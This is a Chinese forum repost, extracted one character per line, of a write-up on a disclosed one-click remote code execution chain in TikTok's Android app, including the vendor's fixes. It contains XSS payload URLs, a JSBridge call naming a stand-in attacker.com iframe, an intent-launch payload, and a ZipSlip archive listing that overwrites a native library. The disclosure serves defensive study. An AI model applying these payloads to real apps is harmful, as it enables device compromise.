论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
IOT
[16575] 2021-03-20_安卓版TikTok被曝一键式RCE
文档创建者:
s7ckTeam
浏览次数:
6
最后更新:
2025-01-18
IOT
6 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2021-03-20_安卓版TikTok被曝一键式RCE
安
卓
版
T
i
k
T
o
k
被
曝
一
键
式
R
C
E
三
分
浅
土
F
r
e
e
B
u
f
2
0
2
1
-
0
3
-
2
0
埃
及
安
全
研
究
员
在
T
i
k
T
o
k
安
卓
应
用
程
序
中
发
现
了
多
个
漏
洞
,
可
以
将
其
链
接
起
来
以
实
现
远
程
代
码
执
行
。
该
安
全
人
员
表
示
,
他
发
现
了
多
个
可
以
链
接
在
一
起
的
漏
洞
,
可
以
用
来
实
现
通
过
多
个
危
险
攻
击
载
体
来
进
行
分
流
的
远
程
代
码
执
行
。
他
发
现
的
漏
洞
如
下
:
T
i
k
T
o
k
W
e
b
V
i
e
w
上
的
通
用
X
S
S
A
d
d
W
i
k
i
A
c
t
i
v
i
t
y
的
另
一
个
X
S
S
启
动
任
意
组
件
T
m
a
T
e
s
t
A
c
t
i
v
i
t
y
中
的
Z
i
p
S
l
i
p
R
C
E
T
i
k
T
o
k
W
e
b
V
i
e
w
上
的
通
用
上
的
通
用
X
S
S
T
i
k
T
o
k
使
用
w
e
b
v
i
e
w
控
件
,
该
控
件
可
由
一
个
深
度
链
接
触
发
,
触
发
后
即
可
跳
转
到
收
件
箱
展
示
页
面
。
W
e
b
V
i
e
w
处
理
一
些
从
内
部
文
件
中
抓
取
的
叫
做
猎
鹰
链
接
的
东
西
,
而
不
是
每
次
用
户
使
用
时
从
他
们
的
服
务
器
上
获
取
,
这
样
可
以
提
高
性
能
。
为
了
衡
量
性
能
,
在
完
成
页
面
加
载
后
,
将
执
行
以
下
功
能
:
安
全
人
员
刚
开
始
打
算
在
U
R
L
种
注
入
X
S
S
P
a
y
l
o
a
d
来
执
行
恶
意
代
码
,
但
没
有
用
。
于
是
他
写
了
一
个
F
r
i
d
a
脚
本
来
钩
住
a
n
d
r
o
i
d
.
w
e
b
k
i
t
.
W
e
b
V
i
e
w
.
e
v
a
l
u
a
t
e
J
a
v
a
s
c
r
i
p
t
之
后
,
发
现
出
现
了
以
下
代
码
:
有
效
载
荷
被
编
码
了
,
因
为
它
在
查
询
字
符
串
段
。
所
以
他
决
定
把
有
效
载
荷
放
在
片
段
段
中
,
在
#
之
后
。
h
t
t
p
s
:
/
/
m
.
t
i
k
t
o
k
.
c
o
m
/
f
a
l
c
o
n
/
#
‘
)
,
a
l
e
r
t
(
1
)
)
;
/
/
将
触
发
以
下
行
:
现
在
,
可
以
看
出
该
W
e
b
V
i
e
w
中
有
X
S
S
了
。
A
d
d
W
i
k
i
A
c
t
i
v
i
t
y
的
另
一
个
的
另
一
个
X
S
S
A
d
d
W
i
k
i
A
c
t
i
v
i
t
y
实
现
U
R
L
验
证
,
以
确
保
不
会
在
其
中
打
开
黑
名
单
中
的
U
R
L
。
但
验
证
只
在
h
t
t
p
或
h
t
t
p
s
方
案
中
进
行
。
因
为
他
们
认
为
其
他
方
案
都
是
无
效
的
,
不
需
要
验
证
。
即
便
验
证
不
是
在
j
a
v
a
s
c
r
i
p
t
方
案
上
,
也
可
以
使
用
该
方
案
对
该
W
e
b
V
i
e
w
进
行
X
S
S
攻
击
。
启
动
任
意
组
件
启
动
任
意
组
件
好
消
息
是
A
d
d
W
i
k
i
A
c
t
i
v
i
t
y
W
e
b
V
i
e
w
也
支
持
i
n
t
e
n
t
s
c
h
e
m
e
,
并
且
没
有
任
何
限
制
。
但
如
果
以
下
代
码
在
A
d
d
W
i
k
i
A
c
t
i
v
i
t
y
中
被
执
行
,
U
s
e
r
F
a
v
o
r
i
t
e
s
A
c
t
i
v
i
t
y
将
被
调
用
。
t
h
i
s
.
a
.
e
v
a
l
u
a
t
e
J
a
v
a
s
c
r
i
p
t
(
“
J
S
O
N
.
s
t
r
i
n
g
i
f
y
(
w
i
n
d
o
w
.
p
e
r
f
o
r
m
a
n
c
e
.
g
e
t
E
n
t
r
i
e
s
B
y
N
a
m
e
(
'
”
+
t
h
i
s
.
w
e
b
v
i
e
w
U
R
L
+
“
'
)
)
”
,
v
2
)
;
;
J
S
O
N
.
s
t
r
i
n
g
i
f
y
(
w
i
n
d
o
w
.
p
e
r
f
o
r
m
a
n
c
e
.
g
e
t
E
n
t
r
i
e
s
B
y
N
a
m
e
(
'
h
t
t
p
s
:
/
/
m
.
t
i
k
t
o
k
.
c
o
m
/
f
a
l
c
o
n
/
?
%
2
7
)
%
2
C
a
l
e
r
t
(
1
)
)
%
3
B
%
2
F
%
2
F
'
)
)
J
S
O
N
.
s
t
r
i
n
g
i
f
y
(
w
i
n
d
o
w
.
p
e
r
f
o
r
m
a
n
c
e
.
g
e
t
E
n
t
r
i
e
s
B
y
N
a
m
e
(
'
h
t
t
p
s
:
/
/
m
.
t
i
k
t
o
k
.
c
o
m
/
f
a
l
c
o
n
/
#
'
)
,
a
l
e
r
t
(
1
)
)
;
/
/
'
)
)
i
f
(
!
e
.
b
(
a
r
g
8
)
)
{
c
o
m
.
b
y
t
e
d
a
n
c
e
.
t
.
c
.
e
.
b
.
a
(
"
A
b
s
S
e
c
S
t
r
a
t
e
g
y
"
,
"
n
e
e
d
B
u
i
l
d
S
e
c
L
i
n
k
:
u
r
l
i
s
i
n
v
a
l
i
d
.
"
)
;
r
e
t
u
r
n
f
a
l
s
e
;
}
p
u
b
l
i
c
s
t
a
t
i
c
b
o
o
l
e
a
n
b
(
S
t
r
i
n
g
a
r
g
1
)
{
r
e
t
u
r
n
!
T
e
x
t
U
t
i
l
s
.
i
s
E
m
p
t
y
(
a
r
g
1
)
&
&
(
(
a
r
g
1
.
s
t
a
r
t
s
W
i
t
h
(
"
h
t
t
p
"
)
)
|
|
(
a
r
g
1
.
s
t
a
r
t
s
W
i
t
h
(
"
h
t
t
p
s
"
)
)
)
&
&
!
e
.
a
(
a
r
g
1
)
;
}
w
i
n
d
o
w
.
T
o
u
t
i
a
o
J
S
B
r
i
d
g
e
.
i
n
v
o
k
e
M
e
t
h
o
d
(
J
S
O
N
.
s
t
r
i
n
g
i
f
y
(
{
"
_
_
c
a
l
l
b
a
c
k
_
i
d
"
:
"
0
"
,
"
f
u
n
c
"
:
"
o
p
e
n
S
c
h
e
m
a
"
,
"
_
_
m
s
g
_
t
y
p
e
"
:
"
c
a
l
l
b
a
c
k
"
,
"
p
a
r
a
m
s
"
:
{
"
s
c
h
e
m
a
"
:
"
a
w
e
m
e
:
/
/
w
i
k
i
?
u
r
l
=
j
a
v
a
s
c
r
i
p
t
:
/
/
m
.
t
i
k
t
o
k
.
c
o
m
/
%
2
5
0
a
d
o
c
u
m
e
n
t
.
w
r
i
t
e
(
%
2
2
%
3
C
h
1
%
3
E
P
o
C
%
3
C
%
2
F
h
1
%
3
E
%
2
2
)
&
d
i
s
a
b
l
e
_
a
p
p
_
l
i
n
k
=
f
a
l
s
e
"
}
,
"
J
S
S
D
K
"
:
"
1
"
,
"
n
a
m
e
s
p
a
c
e
"
:
"
h
o
s
t
"
,
"
_
_
i
f
r
a
m
e
_
u
r
l
"
:
"
h
t
t
p
:
/
/
i
f
r
a
m
e
.
a
t
t
a
c
k
e
r
.
c
o
m
/
"
}
)
)
;
l
o
c
a
t
i
o
n
.
r
e
p
l
a
c
e
(
"
i
n
t
e
n
t
:
#
I
n
t
e
n
t
;
c
o
m
p
o
n
e
n
t
=
c
o
m
.
z
h
i
l
i
a
o
a
p
p
.
m
u
s
i
c
a
l
l
y
/
c
o
m
.
s
s
.
a
n
d
r
o
i
d
.
u
g
c
.
a
w
e
m
e
.
f
a
v
o
r
i
t
e
s
.
u
i
.
U
s
e
r
F
a
v
o
r
i
t
e
s
A
c
t
i
v
i
t
y
;
p
a
c
k
a
g
e
=
c
o
m
.
z
h
i
l
i
a
o
a
p
p
.
m
u
s
i
c
a
l
l
y
;
a
c
t
i
o
n
=
a
n
d
r
o
i
d
.
i
n
t
e
n
t
.
a
c
t
i
o
n
.
V
I
E
W
;
e
n
d
;
"
T
m
a
T
e
s
t
A
c
t
i
v
i
t
y
中
的
中
的
Z
i
p
S
l
i
p
安
全
人
员
在
一
个
名
为
s
p
l
i
t
_
d
f
_
m
i
n
i
a
p
p
.
a
p
k
的
分
裂
包
中
找
到
了
一
个
名
为
T
m
a
T
e
s
t
A
c
t
i
v
i
t
y
的
活
动
。
T
m
a
T
e
s
t
A
c
t
i
v
i
t
y
是
通
过
从
网
上
下
载
一
个
压
缩
包
,
然
后
解
压
来
更
新
S
D
K
。
要
调
用
更
新
过
程
,
我
们
必
须
设
置
动
作
参
数
为
s
d
k
U
p
d
a
t
e
。
它
从
参
数
中
收
集
S
D
K
更
新
信
息
,
然
后
调
用
下
载
B
a
s
e
B
u
n
d
l
e
H
a
n
d
l
e
r
实
例
,
再
将
下
一
个
处
理
程
序
设
置
为
R
e
s
o
l
v
e
D
o
w
n
l
o
a
d
H
a
n
d
l
e
r
,
然
后
设
置
当
前
的
P
r
o
c
e
s
s
B
u
n
d
l
e
V
e
r
s
i
o
n
H
a
n
d
l
e
r
。
B
a
s
e
B
u
n
d
l
e
H
a
n
d
l
e
r
会
检
查
s
d
k
U
p
d
a
t
e
V
e
r
s
i
o
n
参
数
,
看
它
是
否
比
当
前
的
更
新
。
我
们
可
以
将
值
设
置
为
9
9
.
9
9
.
9
9
来
避
免
这
个
检
查
,
然
后
开
始
下
载
:
在
开
始
下
载
的
过
程
中
,
研
究
人
员
发
现
:
v
2
.
a
是
下
载
路
径
。
它
从
中
获
取
应
用
程
序
上
下
文
,
A
p
p
b
r
a
n
d
C
o
n
t
e
x
t
并
且
必
须
具
有
实
例
。
但
是
,
应
用
程
序
并
没
有
一
直
启
动
该
实
例
。
下
载
处
理
完
成
后
,
文
件
传
递
到
R
e
s
o
l
v
e
D
o
w
n
l
o
a
d
H
a
n
d
l
e
r
,
以
将
其
解
压
。
U
r
i
v
5
=
U
r
i
.
p
a
r
s
e
(
U
r
i
.
d
e
c
o
d
e
(
a
r
g
5
.
t
o
S
t
r
i
n
g
(
)
)
)
;
S
t
r
i
n
g
v
0
=
v
5
.
g
e
t
Q
u
e
r
y
P
a
r
a
m
e
t
e
r
(
"
a
c
t
i
o
n
"
)
;
i
f
(
m
.
a
(
v
0
,
"
s
d
k
U
p
d
a
t
e
"
)
)
{
m
.
a
(
v
5
,
"
t
e
s
t
U
r
i
"
)
;
t
h
i
s
.
u
p
d
a
t
e
J
s
s
d
k
(
a
r
g
4
,
v
5
,
a
r
g
6
)
;
r
e
t
u
r
n
;
}
p
r
i
v
a
t
e
f
i
n
a
l
v
o
i
d
u
p
d
a
t
e
J
s
s
d
k
(
C
o
n
t
e
x
t
a
r
g
5
,
U
r
i
a
r
g
6
,
T
m
a
T
e
s
t
C
a
l
l
b
a
c
k
a
r
g
7
)
{
S
t
r
i
n
g
v
0
=
a
r
g
6
.
g
e
t
Q
u
e
r
y
P
a
r
a
m
e
t
e
r
(
"
s
d
k
U
p
d
a
t
e
V
e
r
s
i
o
n
"
)
;
S
t
r
i
n
g
v
1
=
a
r
g
6
.
g
e
t
Q
u
e
r
y
P
a
r
a
m
e
t
e
r
(
"
s
d
k
V
e
r
s
i
o
n
"
)
;
S
t
r
i
n
g
v
6
=
a
r
g
6
.
g
e
t
Q
u
e
r
y
P
a
r
a
m
e
t
e
r
(
"
l
a
t
e
s
t
S
D
K
U
r
l
"
)
;
S
h
a
r
e
d
P
r
e
f
e
r
e
n
c
e
s
.
E
d
i
t
o
r
v
2
=
B
a
s
e
B
u
n
d
l
e
D
A
O
.
g
e
t
J
s
S
d
k
S
P
(
a
r
g
5
)
.
e
d
i
t
(
)
;
v
2
.
p
u
t
S
t
r
i
n
g
(
"
s
d
k
_
u
p
d
a
t
e
_
v
e
r
s
i
o
n
"
,
v
0
)
.
a
p
p
l
y
(
)
;
v
2
.
p
u
t
S
t
r
i
n
g
(
"
s
d
k
_
v
e
r
s
i
o
n
"
,
v
1
)
.
a
p
p
l
y
(
)
;
v
2
.
p
u
t
S
t
r
i
n
g
(
"
l
a
t
e
s
t
_
s
d
k
_
u
r
l
"
,
v
6
)
.
a
p
p
l
y
(
)
;
D
o
w
n
l
o
a
d
B
a
s
e
B
u
n
d
l
e
H
a
n
d
l
e
r
v
6
_
1
=
n
e
w
D
o
w
n
l
o
a
d
B
a
s
e
B
u
n
d
l
e
H
a
n
d
l
e
r
(
)
;
B
u
n
d
l
e
H
a
n
d
l
e
r
P
a
r
a
m
v
0
_
1
=
n
e
w
B
u
n
d
l
e
H
a
n
d
l
e
r
P
a
r
a
m
(
)
;
v
6
_
1
.
s
e
t
I
n
i
t
i
a
l
P
a
r
a
m
(
a
r
g
5
,
v
0
_
1
)
;
R
e
s
o
l
v
e
D
o
w
n
l
o
a
d
H
a
n
d
l
e
r
v
5
=
n
e
w
R
e
s
o
l
v
e
D
o
w
n
l
o
a
d
H
a
n
d
l
e
r
(
)
;
v
6
_
1
.
s
e
t
N
e
x
t
H
a
n
d
l
e
r
(
(
(
B
a
s
e
B
u
n
d
l
e
H
a
n
d
l
e
r
)
v
5
)
)
;
S
e
t
C
u
r
r
e
n
t
P
r
o
c
e
s
s
B
u
n
d
l
e
V
e
r
s
i
o
n
H
a
n
d
l
e
r
v
6
_
2
=
n
e
w
S
e
t
C
u
r
r
e
n
t
P
r
o
c
e
s
s
B
u
n
d
l
e
V
e
r
s
i
o
n
H
a
n
d
l
e
r
(
)
;
v
5
.
s
e
t
N
e
x
t
H
a
n
d
l
e
r
(
(
(
B
a
s
e
B
u
n
d
l
e
H
a
n
d
l
e
r
)
v
6
_
2
)
)
;
}
p
u
b
l
i
c
B
u
n
d
l
e
H
a
n
d
l
e
r
P
a
r
a
m
h
a
n
d
l
e
(
C
o
n
t
e
x
t
a
r
g
1
4
,
B
u
n
d
l
e
H
a
n
d
l
e
r
P
a
r
a
m
a
r
g
1
5
)
{
.
.
.
.
.
S
t
r
i
n
g
v
0
=
B
a
s
e
B
u
n
d
l
e
M
a
n
a
g
e
r
.
g
e
t
I
n
s
t
(
)
.
g
e
t
S
d
k
C
u
r
r
e
n
t
V
e
r
s
i
o
n
S
t
r
(
a
r
g
1
4
)
;
S
t
r
i
n
g
v
8
=
B
a
s
e
B
u
n
d
l
e
D
A
O
.
g
e
t
J
s
S
d
k
S
P
(
a
r
g
1
4
)
.
g
e
t
S
t
r
i
n
g
(
"
s
d
k
_
u
p
d
a
t
e
_
v
e
r
s
i
o
n
"
,
"
"
)
;
.
.
.
.
.
i
f
(
A
p
p
b
r
a
n
d
U
t
i
l
.
c
o
n
v
e
r
t
V
e
r
s
i
o
n
S
t
r
T
o
C
o
d
e
(
v
0
)
>
=
A
p
p
b
r
a
n
d
U
t
i
l
.
c
o
n
v
e
r
t
V
e
r
s
i
o
n
S
t
r
T
o
C
o
d
e
(
v
8
)
&
&
(
B
a
s
e
B
u
n
d
l
e
M
a
n
a
g
e
r
.
g
e
t
I
n
s
t
(
)
.
i
s
R
e
a
l
B
a
s
e
B
u
n
d
l
e
R
e
a
d
y
N
o
w
(
)
)
)
{
I
n
n
e
r
E
v
e
n
t
H
e
l
p
e
r
.
m
p
L
i
b
R
e
s
u
l
t
(
"
m
p
_
l
i
b
_
v
a
l
i
d
a
t
i
o
n
_
r
e
s
u
l
t
"
,
v
0
,
v
8
,
"
n
o
_
u
p
d
a
t
e
"
,
"
"
,
-
1
L
)
;
v
1
0
.
a
p
p
e
n
d
L
o
g
(
"
n
o
n
e
e
d
u
p
d
a
t
e
r
e
m
o
t
e
b
a
s
e
b
u
n
d
l
e
v
e
r
s
i
o
n
"
)
;
a
r
g
1
5
.
i
s
I
g
n
o
r
e
T
a
s
k
=
t
r
u
e
;
r
e
t
u
r
n
a
r
g
1
5
;
}
.
.
.
.
.
t
h
i
s
.
s
t
a
r
t
D
o
w
n
l
o
a
d
(
v
9
,
v
1
0
,
a
r
g
1
5
,
v
0
,
v
8
)
;
.
.
.
.
.
v
2
.
a
=
S
t
o
r
a
g
e
U
t
i
l
.
g
e
t
E
x
t
e
r
n
a
l
C
a
c
h
e
D
i
r
(
A
p
p
b
r
a
n
d
C
o
n
t
e
x
t
.
g
e
t
I
n
s
t
(
)
。
g
e
t
A
p
p
l
i
c
a
t
i
o
n
C
o
n
t
e
x
t
(
)
)
。
g
e
t
P
a
t
h
(
)
;
v
2
.
b
=
t
h
i
s
.
g
e
t
M
d
5
F
r
o
m
U
r
l
(
a
r
g
1
6
)
;
p
u
b
l
i
c
B
u
n
d
l
e
H
a
n
d
l
e
r
P
a
r
a
m
h
a
n
d
l
e
(
C
o
n
t
e
x
t
a
r
g
1
3
,
B
u
n
d
l
e
H
a
n
d
l
e
r
P
a
r
a
m
a
r
g
1
4
)
{
B
a
s
e
B
u
n
d
l
e
E
v
e
n
t
v
0
=
a
r
g
1
4
.
b
a
s
e
B
u
n
d
l
e
E
v
e
n
t
;
i
f
(
(
a
r
g
1
4
.
i
s
L
a
s
t
T
a
s
k
S
u
c
c
e
s
s
)
&
&
a
r
g
1
4
.
t
a
r
g
e
t
Z
i
p
F
i
l
e
!
=
n
u
l
l
&
&
(
a
r
g
1
4
.
t
a
r
g
e
t
Z
i
p
F
i
l
e
.
e
x
i
s
t
s
(
)
)
)
{
a
r
g
1
4
.
b
u
n
d
l
e
V
e
r
s
i
o
n
=
B
a
s
e
B
u
n
d
l
e
F
i
l
e
M
a
n
a
g
e
r
.
u
n
Z
i
p
F
i
l
e
T
o
B
u
n
d
l
e
(
a
r
g
1
3
,
a
r
g
1
4
.
t
a
r
g
e
t
Z
i
p
F
i
l
e
,
"
d
o
w
n
l
o
a
d
_
b
u
n
d
l
e
"
,
f
a
l
s
e
,
v
0
)
;
p
u
b
l
i
c
s
t
a
t
i
c
l
o
n
g
u
n
Z
i
p
F
i
l
e
T
o
B
u
n
d
l
e
(
C
o
n
t
e
x
t
a
r
g
8
,
F
i
l
e
a
r
g
9
,
S
t
r
i
n
g
a
r
g
1
0
,
l
o
n
g
v
1
0
;
b
o
o
l
e
a
n
v
4
;
C
l
a
s
s
v
0
=
B
a
s
e
B
u
n
d
l
e
F
i
l
e
M
a
n
a
g
e
r
.
c
l
a
s
s
;
s
y
n
c
h
r
o
n
i
z
e
d
(
v
0
)
{
b
o
o
l
e
a
n
v
1
=
a
r
g
9
.
e
x
i
s
t
s
(
)
;
}
i
f
(
!
v
1
)
{
r
e
t
u
r
n
0
L
;
}
t
r
y
{
F
i
l
e
v
1
_
1
=
B
a
s
e
B
u
n
d
l
e
F
i
l
e
M
a
n
a
g
e
r
.
g
e
t
B
u
n
d
l
e
F
o
l
d
e
r
F
i
l
e
(
a
r
g
8
,
a
r
g
1
0
)
;
a
r
g
1
2
.
a
p
p
e
n
d
L
o
g
(
"
s
t
a
r
t
u
n
z
i
p
"
+
a
r
g
1
0
)
;
B
a
s
e
B
u
n
d
l
e
F
i
l
e
M
a
n
a
g
e
r
.
t
r
y
U
n
z
i
p
B
a
s
e
B
u
n
d
l
e
(
a
r
g
1
2
,
a
r
g
1
0
,
v
1
_
1
.
g
e
t
A
b
s
o
l
u
t
e
P
a
t
h
(
)
,
a
r
g
9
)
;
p
r
i
v
a
t
e
s
t
a
t
i
c
v
o
i
d
t
r
y
U
n
z
i
p
B
a
s
e
B
u
n
d
l
e
(
B
a
s
e
B
u
n
d
l
e
E
v
e
n
t
a
r
g
2
,
S
t
r
i
n
g
a
r
g
3
,
S
t
r
i
n
g
a
r
g
4
,
F
i
l
e
a
r
g
5
)
t
r
y
{
a
r
g
2
.
a
p
p
e
n
d
L
o
g
(
"
u
n
z
i
p
"
+
a
r
g
3
)
;
I
O
U
t
i
l
s
.
u
n
Z
i
p
F
o
l
d
e
r
(
a
r
g
5
.
g
e
t
A
b
s
o
l
u
t
e
P
a
t
h
(
)
,
a
r
g
4
)
;
}
.
.
.
.
.
.
}
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
u
n
Z
i
p
F
o
l
d
e
r
(
S
t
r
i
n
g
a
r
g
1
,
S
t
r
i
n
g
a
r
g
2
)
t
h
r
o
w
s
E
x
c
e
p
t
i
o
n
{
I
O
U
t
i
l
s
.
a
(
n
e
w
F
i
l
e
I
n
p
u
t
S
t
r
e
a
m
(
a
r
g
1
)
,
a
r
g
2
,
f
a
l
s
e
)
;
}
p
r
i
v
a
t
e
s
t
a
t
i
c
v
o
i
d
a
(
I
n
p
u
t
S
t
r
e
a
m
a
r
g
5
,
S
t
r
i
n
g
a
r
g
6
,
b
o
o
l
e
a
n
a
r
g
7
)
t
h
r
o
w
s
E
x
c
e
p
t
i
o
n
{
Z
i
p
I
n
p
u
t
S
t
r
e
a
m
v
0
=
n
e
w
Z
i
p
I
n
p
u
t
S
t
r
e
a
m
(
a
r
g
5
)
;
在
解
压
文
件
的
最
后
一
个
方
法
中
,
有
一
个
路
径
遍
历
检
查
,
但
由
于
a
r
g
7
值
为
f
a
l
s
e
,
所
以
检
查
不
会
发
生
。
这
使
得
我
们
能
够
利
用
Z
I
P
S
l
i
p
,
覆
盖
一
些
有
用
的
文
件
。
R
C
E
研
究
人
员
创
建
了
一
个
z
i
p
文
件
,
路
径
遍
历
了
文
件
名
,
覆
盖
了
文
件
:
现
在
我
们
可
以
用
一
个
恶
意
库
覆
盖
n
a
t
i
v
e
-
l
i
b
r
a
r
i
e
s
来
执
行
我
们
的
代
码
。
除
非
用
户
重
新
启
动
A
p
p
l
i
c
a
t
i
o
n
,
否
则
它
不
会
被
执
行
。
该
安
全
人
员
还
发
布
了
R
C
E
的
最
终
P
o
C
,
并
将
此
问
题
报
告
给
T
i
k
T
o
k
安
全
团
队
。
T
i
k
T
o
k
采
取
的
行
动
采
取
的
行
动
易
受
攻
击
的
X
S
S
代
码
已
得
到
解
决
;
T
m
a
T
e
s
t
A
c
t
i
v
i
t
y
已
被
删
除
安
全
团
队
对
意
图
方
案
实
施
了
限
制
,
不
允
许
A
d
d
W
i
k
i
A
c
t
i
v
i
t
y
和
M
a
i
n
W
e
b
V
i
e
w
A
c
t
i
v
i
t
y
上
的
T
i
k
T
o
k
应
用
程
序
具
有
意
图
。
精
精
彩
彩
推
推
荐
荐
Z
i
p
I
n
p
u
t
S
t
r
e
a
m
v
0
=
n
e
w
Z
i
p
I
n
p
u
t
S
t
r
e
a
m
(
a
r
g
5
)
;
w
h
i
l
e
(
t
r
u
e
)
{
l
a
b
e
l
_
2
:
Z
i
p
E
n
t
r
y
v
5
=
v
0
.
g
e
t
N
e
x
t
E
n
t
r
y
(
)
;
i
f
(
v
5
=
=
n
u
l
l
)
{
b
r
e
a
k
;
}
S
t
r
i
n
g
v
1
=
v
5
.
g
e
t
N
a
m
e
(
)
;
i
f
(
(
a
r
g
7
)
&
&
!
T
e
x
t
U
t
i
l
s
.
i
s
E
m
p
t
y
(
v
1
)
&
&
(
v
1
.
c
o
n
t
a
i
n
s
(
"
.
.
/
"
)
)
)
{
/
/
A
r
e
y
o
u
n
o
t
i
c
e
a
r
g
7
?
g
o
t
o
l
a
b
e
l
_
2
;
}
i
f
(
v
5
.
i
s
D
i
r
e
c
t
o
r
y
(
)
)
{
n
e
w
F
i
l
e
(
a
r
g
6
+
F
i
l
e
.
s
e
p
a
r
a
t
o
r
+
v
1
.
s
u
b
s
t
r
i
n
g
(
0
,
v
1
.
l
e
n
g
t
h
(
)
-
1
)
)
.
m
k
d
i
r
s
(
)
;
g
o
t
o
l
a
b
e
l
_
2
;
}
F
i
l
e
v
5
_
1
=
n
e
w
F
i
l
e
(
a
r
g
6
+
F
i
l
e
.
s
e
p
a
r
a
t
o
r
+
v
1
)
;
i
f
(
!
v
5
_
1
.
g
e
t
P
a
r
e
n
t
F
i
l
e
(
)
.
e
x
i
s
t
s
(
)
)
{
v
5
_
1
.
g
e
t
P
a
r
e
n
t
F
i
l
e
(
)
.
m
k
d
i
r
s
(
)
;
}
v
5
_
1
.
c
r
e
a
t
e
N
e
w
F
i
l
e
(
)
;
F
i
l
e
O
u
t
p
u
t
S
t
r
e
a
m
v
1
_
1
=
n
e
w
F
i
l
e
O
u
t
p
u
t
S
t
r
e
a
m
(
v
5
_
1
)
;
b
y
t
e
[
]
v
5
_
2
=
n
e
w
b
y
t
e
[
0
x
4
0
0
]
;
w
h
i
l
e
(
t
r
u
e
)
{
i
n
t
v
3
=
v
0
.
r
e
a
d
(
v
5
_
2
)
;
i
f
(
v
3
=
=
-
1
)
{
b
r
e
a
k
;
}
v
1
_
1
.
w
r
i
t
e
(
v
5
_
2
,
0
,
v
3
)
;
v
1
_
1
.
f
l
u
s
h
(
)
;
}
v
1
_
1
.
c
l
o
s
e
(
)
;
}
v
0
.
c
l
o
s
e
(
)
;
}
/
d
a
t
a
/
d
a
t
a
/
c
o
m
.
z
h
i
l
i
a
o
a
p
p
.
m
u
s
i
c
a
l
l
y
/
a
p
p
_
l
i
b
/
d
f
_
r
n
_
k
i
t
/
d
f
_
r
n
_
k
i
t
_
a
3
e
3
7
c
2
0
9
0
0
a
2
2
b
c
8
8
3
6
a
5
1
6
7
8
e
4
5
8
f
7
/
a
r
m
6
4
-
v
8
a
/
l
i
b
j
s
c
.
s
o
d
p
h
o
e
n
i
i
x
x
@
M
a
c
B
o
o
k
-
P
r
o
T
i
k
t
o
k
%
7
z
l
l
i
b
r
a
n
_
a
1
e
f
0
1
b
0
9
a
3
d
9
4
0
0
b
7
7
1
4
4
b
b
f
9
a
d
5
9
b
1
.
z
i
p
7
-
Z
i
p
[
6
4
]
1
6
.
0
2
:
C
o
p
y
r
i
g
h
t
(
c
)
1
9
9
9
-
2
0
1
6
I
g
o
r
P
a
v
l
o
v
:
2
0
1
6
-
0
5
-
2
1
p
7
z
i
p
V
e
r
s
i
o
n
1
6
.
0
2
(
l
o
c
a
l
e
=
u
t
f
8
,
U
t
f
1
6
=
o
n
,
H
u
g
e
F
i
l
e
s
=
o
n
,
6
4
b
i
t
s
,
1
6
C
P
U
s
x
6
4
)
S
c
a
n
n
i
n
g
t
h
e
d
r
i
v
e
f
o
r
a
r
c
h
i
v
e
s
:
1
f
i
l
e
,
1
9
3
0
b
y
t
e
s
(
2
K
i
B
)
L
i
s
t
i
n
g
a
r
c
h
i
v
e
:
l
i
b
r
a
n
_
a
1
e
f
0
1
b
0
9
a
3
d
9
4
0
0
b
7
7
1
4
4
b
b
f
9
a
d
5
9
b
1
.
z
i
p
-
-
P
a
t
h
=
l
i
b
r
a
n
_
a
1
e
f
0
1
b
0
9
a
3
d
9
4
0
0
b
7
7
1
4
4
b
b
f
9
a
d
5
9
b
1
.
z
i
p
T
y
p
e
=
z
i
p
P
h
y
s
i
c
a
l
S
i
z
e
=
1
9
3
0
D
a
t
e
T
i
m
e
A
t
t
r
S
i
z
e
C
o
m
p
r
e
s
s
e
d
N
a
m
e
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
2
0
2
0
-
1
1
-
2
6
0
4
:
0
8
:
2
9
.
.
.
.
.
5
8
9
6
1
4
9
6
.
.
/
.
.
/
.
.
/
.
.
/
.
.
/
.
.
/
.
.
/
.
.
/
.
.
/
d
a
t
a
/
d
a
t
a
/
c
o
m
.
z
h
i
l
i
a
o
a
p
p
.
m
u
s
i
c
a
l
l
y
/
a
p
p
_
l
i
b
/
d
f
_
r
n
_
k
i
t
/
d
f
_
r
n
_
k
i
t
_
a
3
e
3
7
c
2
0
9
0
0
a
2
2
b
c
8
8
3
6
a
5
1
6
7
8
e
4
5
8
f
7
/
a
r
m
6
4
-
v
8
a
/
l
i
b
j
s
c
.
s
o
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
2
0
2
0
-
1
1
-
2
6
0
4
:
0
8
:
2
9
5
8
9
6
1
4
9
6
1
f
i
l
e
s
阅
读
原
文
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页